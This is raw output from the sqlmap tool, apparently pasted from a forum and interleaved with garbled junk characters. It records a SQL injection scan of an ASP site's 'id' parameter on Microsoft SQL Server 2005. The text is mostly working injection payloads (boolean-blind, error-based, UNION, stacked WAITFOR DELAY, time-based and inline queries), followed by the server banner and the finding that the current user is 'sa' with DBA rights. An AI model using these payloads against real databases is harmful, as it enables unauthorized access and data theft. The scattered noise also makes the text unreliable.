[2] Smart ! G" \/ L( S' S[3] All6 ?0 w9 I3 t l( E5 p
> 1 b9 }5 m8 [" o9 ? 7 x; | Y' X5 ]1 g0 Lsqlmap is running, please wait.. , k3 Z# h; \% J5 _3 X. B& t) m" N1 g2 F' i$ Q/ @* f
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y. u" }0 B% K& y" k3 w' c
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y 7 z: S* U- B+ H+ S lGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N+ _4 ~* t z3 ^* Z4 y5 N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:( S# g' ]& J9 ]" `7 O; R- R( ^: S$ Z
--- + N3 \7 ~6 G) M3 U6 V* TPlace: GET 6 }, b) J, r! j* w. KParameter: id; y4 m9 }/ v, @1 n8 w Z0 }9 z
Type: boolean-based blind ( H/ `: W* n6 r0 o5 l Title: AND boolean-based blind - WHERE or HAVING clause5 j+ f) X7 j* M6 o" e
Payload: id=1 AND 2986=2986/ C' d& z3 m3 q0 r6 O. y! x( M
" ~* o6 A4 H1 g- M1 i
Type: error-based7 M5 f! b8 v* I0 F5 ]" c: j0 Q
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause% r, Z6 F% n+ o1 E
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))). v) m8 \: a+ T2 |1 T
, b9 s- U. ~8 [9 H' U( t
Type: UNION query9 t# E( y: ]* B# B2 Q- \" U% u
Title: Generic UNION query (NULL) - 3 columns! }# C) | q* p* k m
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 8 E2 `$ O3 ~7 ]' [% h7 |$ W
9 S8 F3 q: Z3 @# F/ G7 o
Type: stacked queries' P) o$ s. G# s- o2 i4 z
Title: Microsoft SQL Server/Sybase stacked queries0 [1 x" i0 n. C. M4 T2 x: x
Payload: id=1; WAITFOR DELAY '0:0:5'--3 Y' j( F; I5 T5 S4 ~
# j b6 i5 S! S- ?7 b
Type: AND/OR time-based blind 7 w8 a1 ?) e) Z( K Title: Microsoft SQL Server/Sybase time-based blind( l5 p3 I" y# c7 u0 g8 G$ q" v" g
Payload: id=1 WAITFOR DELAY '0:0:5'-- 1 D5 m3 h3 _8 m, N 8 m$ O; c2 O c6 j Type: inline query ' E1 r9 U2 V7 [7 K4 B Title: Microsoft SQL Server/Sybase inline queries 8 q0 q$ b7 {4 ]0 r" P" ~ Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)): d6 [/ N2 A% b" T( F ~8 r
---1 f9 H1 a# O5 I4 ?
web server operating system: Windows XP 5 B, }+ D9 y# Eweb application technology: ASP, Microsoft IIS 5.1 Q, w# s$ v! j t1 r: G+ {
back-end DBMS operating system: Windows XP Service Pack 28 C6 d6 T: f3 L5 C. s' D
back-end DBMS: Microsoft SQL Server 2005* M0 Y! F; k; m: Y. g
banner:: `8 g! E* n5 x6 a* K, L
---$ p# P" O3 o' V9 J5 w
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 7 W/ B3 `5 |. s' R/ c, B. }: k
Oct 14 2005 00:33:37 ! l& Z# \- ~# Q0 E- R$ R! s
Copyright (c) 1988-2005 Microsoft Corporation8 E! r' D' K) f! Y0 X- U
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) n0 F* g D' J: \6 v- l$ L6 s
--- # Z4 O+ F5 `) R2 J9 L2 Pcurrent user: 'sa' , p. Z& e7 @8 a; S3 _current database: 'testdb'7 T3 [4 u6 Z! k- P% W# J4 a
current user is DBA: True